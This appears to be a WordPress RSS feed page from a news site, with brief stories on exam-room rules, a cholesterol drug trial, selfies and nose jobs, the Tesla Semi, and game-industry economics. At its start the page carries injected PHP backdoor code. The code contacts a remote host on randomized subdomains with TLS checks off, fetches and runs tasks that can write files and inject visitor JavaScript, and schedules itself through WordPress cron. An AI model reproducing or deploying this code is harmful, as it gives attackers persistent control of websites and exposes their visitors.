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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); takers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Nov 2018 00:17:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png takers – Brief News https://briefnews.eu 32 32 Medical Council of Canada under fire for banning access to menstrual products for exam takers https://briefnews.eu/medical-council-of-canada-under-fire-for-banning-access-to-menstrual-products-for-exam-takers/ https://briefnews.eu/medical-council-of-canada-under-fire-for-banning-access-to-menstrual-products-for-exam-takers/#respond Thu, 01 Nov 2018 00:17:09 +0000 http://briefnews.eu/medical-council-of-canada-under-fire-for-banning-access-to-menstrual-products-for-exam-takers/ tampons pads

The Medical Council of Canada says it’s reviewing its practices after being criticized online for prohibiting women from bringing tampons or menstrual pads into exam rooms while writing multi-hour tests.

]]> https://briefnews.eu/medical-council-of-canada-under-fire-for-banning-access-to-menstrual-products-for-exam-takers/feed/ 0 Statin takers could cut heart attack risk by taking new fortnightly jab https://briefnews.eu/statin-takers-could-cut-heart-attack-risk-by-taking-new-fortnightly-jab/ https://briefnews.eu/statin-takers-could-cut-heart-attack-risk-by-taking-new-fortnightly-jab/#respond Sun, 11 Mar 2018 20:25:23 +0000 http://briefnews.eu/statin-takers-could-cut-heart-attack-risk-by-taking-new-fortnightly-jab/

A FORTNIGHTLY jab of an anti-cholesterol drug cuts the risk of heart attack and stroke by a quarter, research shows.

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For decades high-risk patients have relied on statins but trials show those injecting alirocumab while still taking their tablets had fewer major adverse cardiovascular events than those on statins alone.

The new NHS therapy is given to those whose cholesterol remains dangerously high despite taking the maximum dose of statins, or who cannot tolerate the drugs.

The treatment is a new class of drugs known as PCSK9 inhibitor.

It inactivates a specific protein in the liver, reducing the amount of harmful LDL, or bad cholesterol, in the blood.

It is aimed at patients with high bad cholesterol levels at risk of a fatal heart attack or stroke.

Alirocumab reduced this risk by 24 per cent.

The benefit was even greater in those with stubbornly high bad cholesterol.

That group saw a 29 per cent reduction in death from any cause after taking the drug for two years.

The British Heart Foundation’s Professor Sir Nilesh Samani said: “Coronary heart disease is one of the leading causes of death in the UK, and remains the leading cause of death worldwide. Having high levels of cholesterol in the blood puts people at serious risk of coronary heart disease.

“This new class of drugs are very promising for people with high cholesterol for whom statins and lifestyle changes alone are not enough to bring their cholesterol to low levels.

“This study confirms that PCSK9 inhibitors can reduce the risk of a further heart attack or stroke for people with coronary heart disease. It has shown that these drugs can reduce the risk of death in such patients, when used alongside statins.”

The international trial, involving 18,924 patients, is the first to show the new class of drugs has the ability to extend lives and could work better than statins, which are cheap and commonly prescribed, but remain mired in controversy.

Alirocumab, made by Sanofi, costs £10,000 per patient.

The findings, presented to the American College of Cardiology conference in Orlando, Florida, were based on a trial in 57 countries, where patients were randomly assigned to receive alirocumab or a placebo.

Those enrolled were over 40 and many had been treated with the maximum amount of statin therapy possible but were still unable to get their cholesterol down.

Imperial College London Professor Kausik Ray said: “These new results show, for the first time, that use of alirocumab to lower cholesterol can reduce heart attacks and stroke in high-risk patients.”

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]]> https://briefnews.eu/statin-takers-could-cut-heart-attack-risk-with-new-fortnightly-jab/feed/ 0 Self-conscious selfie takers lead to record number of nosejobs https://briefnews.eu/self-conscious-selfie-takers-lead-to-record-number-of-nosejobs/ https://briefnews.eu/self-conscious-selfie-takers-lead-to-record-number-of-nosejobs/#respond Fri, 02 Mar 2018 09:08:15 +0000 http://briefnews.eu/self-conscious-selfie-takers-lead-to-record-number-of-nosejobs/

Nosejob procedures are rising by 10 per cent a year in the US. The study said that taking a picture of yourself from just a foot away changes the shape of our face.

Study author Dr Boris Paskhover, of Rutgers New Jersey Medical School, explained: “Despite the ease with which selfies are taken, the short distance from the camera causes a distortion of the face owing to projection – most notably an increase in nasal dimensions.”

His team’s facial model was based on data collected from a sample of racially and ethnically diverse participants in the US.

Dr Paskhover added: “The selfie has rapidly become one of the major photographic modalities of our time. In 2014 alone 93 million selfies a day were taken on Android phones.”

The study, published in JAMA Facial Plastic Surgery, follows a recent poll by the American Academy of Facial Plastic and Reconstructive Surgeons, in which 42 per cent said patients were seeking procedures for improved selfies on social media.

It also found that 99 per cent of surgeons in the US believed that celebrity culture and social media is driving a desire for the perfect selfie.

It is thought Britons take 35 million selfies every month.

The British Association of Aesthetic Plastic Surgeons said young people were now under “incessant pressure” to be perfect – comparing themselves to digitally-enhanced photos.

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It was just hours ago that Tesla unveiled its electric Semi truck. It has up to 500 miles of range, can add 400 miles of range in just 30 minutes of charging. It can do 0-60 in just 5 seconds, or in 20 seconds while pulling 80,000 pounds of cargo. It will go into production in 2019, Tesla says (we’re not holding our breath, though). One key detail still missing is the price. While Tesla says the Semi can be reserved for $ 5,000, it hasn’t said how much the truck will actually cost. That hasn’t stopped at least two companies from saying they’ll give the Tesla Semi a shot, though. Freight company J.B. Hunt and retailer Walmart have both raised hands to try the electric truck.

J.B. Hunt says it has reserved “multiple” Tesla Semis, which it will test along the West Coast. J.B. Hunt President and CEO John Roberts said in a statement, “Reserving Tesla trucks marks an important step in our efforts to implement industry-changing technology. We believe electric trucks will be most beneficial on local and dray routes, and we look forward to utilizing this new, sustainable technology.”

Walmart plans to test Tesla Semi Trucks in the U.S. in Canada, the company told CNBC. “We have a long history of testing new technology – including alternative-fuel trucks – and we are excited to be among the first to pilot this new heavy-duty electric vehicle.” The company added, “We believe we can learn how this technology performs within our supply chain, as well as how it could help us meet some of our long-term sustainability goals, such as lowering emissions.”

While Tesla hasn’t revealed the price of the vehicle, the company did offer insights into how it could save operators in operating costs. With lower fuel and maintenance costs compared to diesel trucks, Tesla says its Semi can save operators over $ 200,000, and that it will pay back its higher up-front cost in just two years. More specifically, Musk said that operating costs over a 100-mile route would average $ 1.26 per mile, compared to $ 1.51 per mile for a diesel rig. Tesla also says the Semi will be guaranteed to last 1 million miles.

Tesla stock was up this morning. Interestingly, shares of J.B. Hunt dropped, according to Reuters.

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]]> https://briefnews.eu/tesla-has-takers-for-electric-semi-j-b-hunt-and-walmart/feed/ 0 Turtle Rock’s Steve Goldstein believes the console game industry lacks risk takers https://briefnews.eu/turtle-rocks-steve-goldstein-believes-the-console-game-industry-lacks-risk-takers/ https://briefnews.eu/turtle-rocks-steve-goldstein-believes-the-console-game-industry-lacks-risk-takers/#respond Mon, 29 May 2017 14:50:26 +0000 http://briefnews.eu/turtle-rocks-steve-goldstein-believes-the-console-game-industry-lacks-risk-takers/

I’ve formed a lot of opinions about the game industry over the years. And I recently got the chance to spout them in a conversation with Steve Goldstein, president of Turtle Rock Studios, the maker of the Evolve video game published by Take-Two Interactive’s 2K label in February 2015.

At UCLA, we gave a talk before a group of game industry lawyers from the Video Game Bar Association. We were encouraged to talk about the whole industry’s trends, and we started by noting how conservative the console game industry has become, with huge budgets that are forcing publishers to be very careful when it comes to launching original games. Sequels rule, and that’s a sad reality.

We also talked about the cycles that favor the creation of new kinds of games and platforms, as well as the cycles where big game companies either retrench or expand their investments in games. Joseph Olin, executive director of the Video Game Bar Association, peppered us with questions toward the end.

Here’s an edited transcript of our conversation.

Above: Dean Takahashi (left) of GamesBeat talks about the game industry with Steve Goldstein of Turtle Rock.

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Steve Goldstein: For the past four years now, I’ve been the president and general manager at Turtle Rock Studios. We’re an 80-person developer. Our latest console release was Evolve, which came out in 2015. Prior to that, we created Left 4 Dead, which was a big hit a while ago.

Since that time, up until last year, we’ve been a one project studio. But starting in the tail end of 2016, we split the studio into two departments. One is focused on service-based games, and the other is focused on VR.

GamesBeat: When you’re looking a few years out and you’re going to make one bet on one big game that will take you a few years to make, how do you plan that? How do you decide what to target, what the market will be like, what the audience wants?

Goldstein: There isn’t an opportunity anymore, unfortunately, to try to guess what’s going to happen a few years out. The industry’s changed quite a bit when it comes to large-scale games. When you look at the console environment, that’s no longer a space for independent developers to work in. Our last game had an enormous budget, yet it’s competing with games that are internally developed by publishers, which have budgets that are anywhere from two to four times the amount that we spent.

That’s a problem in a couple of ways. One, publishers don’t want to make bets on new IP given the cost of development. Two, if they are going to make a new IP for console, they’re probably going to do it internally, just because they feel they can control those costs better. How many new, successful franchises have been created with the latest generation of consoles? Bloodborne?

GamesBeat: Nintendo’s Arms is coming soon.

Goldstein: Well, Nintendo is a separate issue. Their games don’t cost as much as development on PlayStation and Xbox.

GamesBeat: Horizon Zero Dawn.

Goldstein: It’s not a franchise yet, but I agree. That’s two. How long have the consoles been out? 2013? That’s not a good sign, guys. When you look at the state of the industry, if we can only name a few new franchises for this console generation, I don’t see how they continue.

Above: Aloy has guts in Horizon: Zero Dawn.

Image Credit: Dean Takahashi

GamesBeat: There’s a trap for the industry, though. There’s no better way to squeeze innovation out of games than to leave behind this tent-pole strategy. Justin Bailey of Fig just did a talk at our GamesBeat Summit. He pointed out that there used to be a tent-pole strategy, where you had a big flagship game to make all the money and pay for your bets on everything else. EA in 2008 had 60 games. Last year, it had eight — all of them big bets and none of them [were] really experimental.

Goldstein: It doesn’t even have to be experimental. It’d just be nice if it was another IP, something that’s not going into the fifth or sixth iteration. Going back to what you asked earlier, how do we figure out what we want to do? We figure out what fun game we want to play, but we also look at the market and say, “Here’s a hole right here.” We start targeting that. But we don’t target boxed products anymore. We just won’t approach publishers with a concept where we say, “This’ll cost $ 60, and then, we’ll make another $ 50 worth of DLC.” It doesn’t make sense for us as a business to get into that space. There’s no benefit for an independent studio.

It’s unfortunate. I love consoles. I like making cool stuff and pushing the envelope. But it doesn’t make good fiscal sense anymore.

GamesBeat: There are still areas where there can be some innovation — like on the PC and mobile. Dead by Daylight is a brand new IP that came from Behaviour Interactive. It’s an online game about trying to escape from a serial killer. You have one killer and four victims.

Goldstein: Sounds familiar [laughs]. It’s a great example, actually. We put out Evolve with a similar concept, four versus one, but it was an enormous experience in a $ 60 box. We look at how Dead by Daylight got picked up. It had a $ 20 price point, cost $ 7 million to develop, and it’s a much smarter move for doing that kind of innovative stuff. It’s a small ask for the user to embrace it, and it’s also a small ask when it comes to development.

What I’ve seen in the market lately — the games business is more Dickensian than it’s ever been. It’s the worst of times for guys making big budget titles, but it’s the best of times for people who are able to put something out that cost them $ 5 million or less. What Justin’s doing is fantastic. I’ve also seen lately that the elusive “game fund” is starting to happen now. These funds are coalescing where they can put in [$ 1 million to] 2 million to see [if] an independent studio can develop something well.

But when that happens, all those companies are going to be PC focused. Console will be an afterthought for them.

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]]> https://briefnews.eu/turtle-rocks-steve-goldstein-believes-the-console-game-industry-lacks-risk-takers/feed/ 0 MacBook Touch Bar barred from bar test takers this February https://briefnews.eu/macbook-touch-bar-barred-from-bar-test-takers-this-february/ https://briefnews.eu/macbook-touch-bar-barred-from-bar-test-takers-this-february/#respond Mon, 30 Jan 2017 22:42:48 +0000 http://briefnews.eu/macbook-touch-bar-barred-from-bar-test-takers-this-february/

There are a lot of kitschy things you can do with the new MacBook Touch Bar. Autocorrect your typos! Fast forward through a YouTube video! Cheat on a test? Not for bar exams in North Carolina, according to a new announcement by the state’s Board of Law Examiners.

As reported by Apple Insider, the board today released a notice requiring bar test takers disable the Touch Bar function if they plan on using their new MacBooks for the upcoming February exam. The announcement doesn’t point out cheating as the reason for requiring Touch Bar to be disabled, but it seems obvious that’s what the board is trying to work around. Touch Bar helps automatically suggest phrases and words relevant to what you’re typing, so presumably students could add predictive texts ahead of their test date.

Similarly, Colorado has also banned Touch Bars during the February exam, citing that the feature is “not compatible with the security features of the ExamSoft software” used to administer the tests. Although not every state has released an official notice, ExamSoft itself did recommend proctors to disable the Touch Bar before testing takes place.

How exactly the boards will implement this rule seems a little vague. So far, according to the board of North Carolina’s statement, it seems a proctor will simply ask if anyone in the exam room has a new MacBook with Touch Bar, and a technician will come by to help disable it if you raise your hand. I guess the test of a good lawyer starts at being a trustworthy human.

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